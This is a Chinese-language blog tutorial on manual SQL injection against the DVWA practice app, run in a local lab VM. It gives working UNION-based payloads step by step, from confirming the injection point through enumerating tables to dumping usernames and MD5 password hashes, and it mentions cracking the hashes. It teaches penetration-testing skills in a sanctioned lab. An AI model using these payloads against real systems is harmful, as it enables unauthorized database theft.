手把手系列:DVWA 手工 SQL 注入实战day02(下)
DVWA 手工 SQL 注入实战day02(下)
上篇把「武器」和「武学」都备齐了,这一篇我们直接下场实战。
排骨自己在看别人的 SQL 注入教程时,直观感受是:理论懂了,但一上手就不知道下一步该做什么。 所以这篇排骨直接按自己的操作顺序来写每一步都写清楚「为什么现在做这一步」,而不是直接给出payload。
特别声明:本文所有实验操作均在本地隔离虚拟靶场环境完成,文中技术仅供网络安全学习研究使用。严禁在未获得书面授权的情况下对任何非自有系统实施扫描、渗透、测试等行为,违规操作带来的一切法律责任由行为人自行承担。
一、动手前:把 DVWA 调成最容易打的模式
1.1 登录 DVWA
浏览器访问:
http://10.10.10.128:8080
这里可以直接用kali的浏览器访问,也可以用物理机的浏览器访问(因为day01的配置中Host-Only:VMnet1,网段 10.10.10.0/24,同时,物理机上也有一块 VMnet1 的虚拟网卡,地址是 10.10.10.1,和 Kali 的 10.10.10.128 处在同一个网段,同一网段内设备可直接访问),因为我的yakit在物理机中,所以接下来为了方便所有演示都是在物理机中进行的。
默认账号密码:
admin / password
第一次进 DVWA 会提示数据库还没建。点击左下角的
Create / Reset Database按钮初始化一下,之后会自动跳到登录页。
1.2 把安全难度调到 low
登录后左侧菜单点 DVWA Security,把难度选成 low,保存。如图所示。

关于难度
简单说就是难度需要循序渐进,DVWA 每个漏洞模块都有四个难度:
| 难度 | 含义 |
|---|---|
| low | 完全不设防,先用它理解漏洞本身 |
| medium | 加了一层初级过滤 |
| high | 加了更严的过滤 |
| impossible | 正确写法,打不进去 |
二、两种发请求的方式
2.1 方式一:直接在地址栏输 URL
DVWA 那个「输入框 + Submit 按钮」的组合,在网页里叫表单(form)。你在框里打字、点按钮,浏览器会自动把你的输入拼成 URL 再发出去。
两种提交方式,最终结果是一样的:
- 表单提交:输入框打
1→ 点Submit→ 浏览器帮你拼出?id=1&Submit=Submit
![屏幕截图 2026-09-23 162721]()
- 直接输 URL:自己在地址栏敲
http://10.10.10.128:8080/vulnerabilities/sqli/?id=1&Submit=Submit
![屏幕截图 2026-09-23 162806]()
两者发出去的请求完全一样,区别只是「谁负责拼 URL」。
但打着打着就会发现出问题了:
| 问题 | 说明 |
|---|---|
# 发不出去 |
地址栏里 # 是锚点分隔符,会被浏览器吃掉,必须写成 %23 |
| 看到的和发出的不一样 | 浏览器会自动编码特殊字符,地址栏里显示的不等于实际发出去的请求 |
| 没法留存和重放 | 想再发一遍刚才那个 payload,只能重新敲一次 |
2.2 方式二:把请求搬进 Yakit
先在 Yakit 里抓一次请求:
-
左侧
手工测试→MITM交互式劫持→免配置启动(或者用你自己配好代理的浏览器) -
在打开的浏览器里进 DVWA,点左侧菜单的
SQL Injection -
输入
1,点Submit -
回到 Yakit 看 History,能找到类似这样一条:
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 10.10.10.128:8080
...
如图:

- 右键 → 发送到 Web Fuzzer
转过来之后你会发现舒服很多:
- ✅ 原始请求可以改,改哪个字段一目了然
- ✅ 能重放,之前发过的请求随时再发一次
- ✅
#直接写,不用考虑编码 - ✅ 后面想批量、想爆破,工具都是现成的
2.3 什么时候从方式一切到方式二
信号很明确:当你开始反复复制粘贴同一个请求、只改一个参数的时候,就该切了。
排骨的思路是:
判断「有没有注入」那几条(单引号、
and '1'='1、and '1'='2)来确定注入点 ;
一旦确定存在注入,立刻转方式二,后面所有 payload 都在 Web Fuzzer 里做。
两种方式不是非要二选一,中间有个交接过程。 手工确立位置,工具提高效率。
三、第一步:确认这里到底有没有注入
理论篇讲过,最经典的第一招就是打个单引号。
方式一:在地址栏把 URL 里的 id=1 改成 id=1',回车。
方式二:在 Web Fuzzer 里把 id=1 改成 id=1',发送。
结果如图所示——页面直接报了 SQL 语法错误。

看到报错,说明几件事:
① 存在注入,用户输入确实被拼进 SQL 了
② 是字符型注入——因为单引号打破了 SQL 里的引号配对
③ 后端是 MySQL——报错信息里能看出来
报错本身就是情报。 很多新手看到报错就慌,其实这是目标在主动告诉你「我出问题了,出在哪一行」。后面「报错注入」这一类手法,就是专门利用这个特性。
四、第二步:真假条件对比
单引号报错能证明有注入,但不是所有站都会回显报错。所以更可靠的方法是真假条件对比。
因为它不依赖报错,所以通用性最强。
第一个 payload(真):
id=1' and '1'='1
这条拼进 SQL 之后是:
SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1'
'1'='1' 恒为真,所以页面正常返回用户信息。

第二个 payload(假):
id=1' and '1'='2
SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2'
'1'='2' 恒为假,所以页面返回空。

两次结果不一样,注入就可以确认了。
为什么这里必须带引号? 因为 DVWA 的 SQL 里,
$id是被单引号包裹的(user_id = '$id')。如果只写and 1=1,拼进去会变成user_id = '1 and 1=1'——整个字符串被当成一个值去做类型转换,结果还是 1,真假两种情况看起来完全一样,你会误判成「没有注入」。这就是理论篇讲的「字符型 vs 数字型」在实战里的意义。
五、第三步:确定查询有几列
要用 UNION 注入,必须先知道原查询返回几列——不然 UNION 两边的列数对不上,SQL 直接报错。
方法是用 ORDER BY 一个一个试,但这样的效率太低了,我们直接选择较大数字开始:
id=1' order by 3#

发现3列出现报错了,说明列数小于3,试下2呢。
id=1' order by 2#

发现成功返回了,说明只有2列。
| payload | 结果 |
|---|---|
order by 2# |
正常 |
order by 3# |
报错 |
order by 3 报错,说明查询结果只有 2 列。
为什么? ORDER BY n 的意思是「按第 n 列排序」。如果表里只有 2 列,查询第3列不存在就会直接报错。
#是 MySQL 的注释符,用来把 SQL 末尾多余的'注释掉。
在浏览器地址栏里#是锚点,发不出去,必须写成%23。 但在 Yakit 里直接改原始请求,#会被自动转义为%23,这也是排骨喜欢yakit的原因之一。
顺便验证一下列名(可选):DVWA 这个模块的查询是 SELECT first_name, last_name FROM users,确实是 2 列,和我们试出来的一致。
六、第四步:找显示位
知道有 2 列之后,用 UNION SELECT 把数字塞进去,看哪几个数字会被显示在页面上:
id=1' union select 1,2#
如果页面上出现了 1 和 2(如图所示),说明两个位置都能回显——那我们就可以把想查的东西替换到这两个位置上。

为什么 payload 前面要保留
id=1'?
因为原查询是WHERE user_id = '1',如果表里没有 id 为 1 的用户,前半段会返回空,UNION 的结果就只剩我们注入的那部分。
也有人习惯写id=-1',用个不存在的值确保前半段一定为空。两种都行。
七、第五步:开始脱库
现在按理论篇讲的那条路径一步步来,依照当前库 → 表 → 字段 → 数据的顺序顺藤摸瓜。
7.1 先拿当前数据库名
id=1' union select 1,database()#
页面上会显示库名,DVWA 默认是 dvwa。如图所示。

7.2 拿这个库里的所有表名
id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
注意:查询时我的tables打成了table单数形式,出现了报错
Unknown table 'table' in information_schema,说明库里没有table,SQL 是精确匹配的语言,表名、列名都是标识符,缺一不可。
结果里能看到guestbook和users两张表。如图所示。
group_concat()的作用是把多行结果拼成一行,这样一次就能全部显示出来,不用一行一行看。
7.3 拿 users 表的字段名
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
结果:
user_id,first_name,last_name,user,password,avatar
看到 user 和 password 了吧——这两个就是我们真正想要的东西。如图所示。

7.4 最后一步:把用户名和密码拖出来
id=1' union select user,password from users#
页面上会直接把所有用户的用户名和密码哈希列出来。如图所示。

如果想一次看全(用户名和密码拼在同一列),可以这样(上面提过的一行列出):
id=1' union select group_concat(user,0x3a,password),2 from users#
0x3a是冒号:的十六进制。为什么不用':'直接写?因为引号在 SQL 里容易和外面的引号打架,用十六进制就不用担心了。
八、拿到密码之后
DVWA 的密码是 MD5 哈希存的,不是明文。比如:
admin : 5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99 解出来就是 password。
MD5 现在早就不安全了,因为:
- 它是无盐的(同样的密码永远得到同样的哈希,可以彩虹表对撞)
- 计算太快,暴力破解成本极低
随便找个在线 MD5 解密站或者本地跑 hashcat,几秒钟就出来了。
这就是为什么现在存密码必须用 bcrypt / argon2 这类「慢哈希 + 加盐」算法。 DVWA 用 MD5 是为了教学演示,真实系统里这么干属于严重缺陷。
九、回顾:为什么 low 这么容易被拿下
打完一遍,我们回头看看 DVWA 在 low 难度下的源码(DVWA 自带源码查看,在页面右下角能看到):
$id = $_GET[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die(...);
问题一目了然:
$id直接拼进了 SQL——没有任何过滤、没有任何转义or die(mysqli_error())——把数据库报错原样吐给用户,等于主动泄露信息
两道防线全没有。 所以 low 难度下,一个单引号就能打穿。
那 medium 和 high 是怎么防的?防住了吗?——这正是我们下一篇要打的。 你会发现:光靠「过滤关键字」,是防不住 SQL 注入的。
十、总结一下完整流程
把这次的思路固化下来,以后遇到别的注入点可以照着走:
1. 打单引号 → 看有没有报错,判断是否存在注入
2. and '1'='1 / '1'='2 → 真假对比,最可靠的判断方法
3. ORDER BY 试列数 → 为 UNION 做准备
4. UNION SELECT 1,2 → 找显示位
5. database() → 当前库名
6. information_schema.tables → 表名
7. information_schema.columns → 字段名
8. SELECT 目标字段 → 拿数据
这八步是联合查询注入的标准套路。 你现在是「照着步骤走」,等打过几个不同的靶场之后,你会发现自己开始看到注入点就大概知道该怎么打——那时候才叫真的会了。
参考
预告一下特别篇:总以为病毒会离我很远,前一阵也是中招了,还迟钝的让病毒跑了一天才发现,借此机会分享一下纯小白首战挖矿类病毒的经验和丢脸经历。




浙公网安备 33010602011771号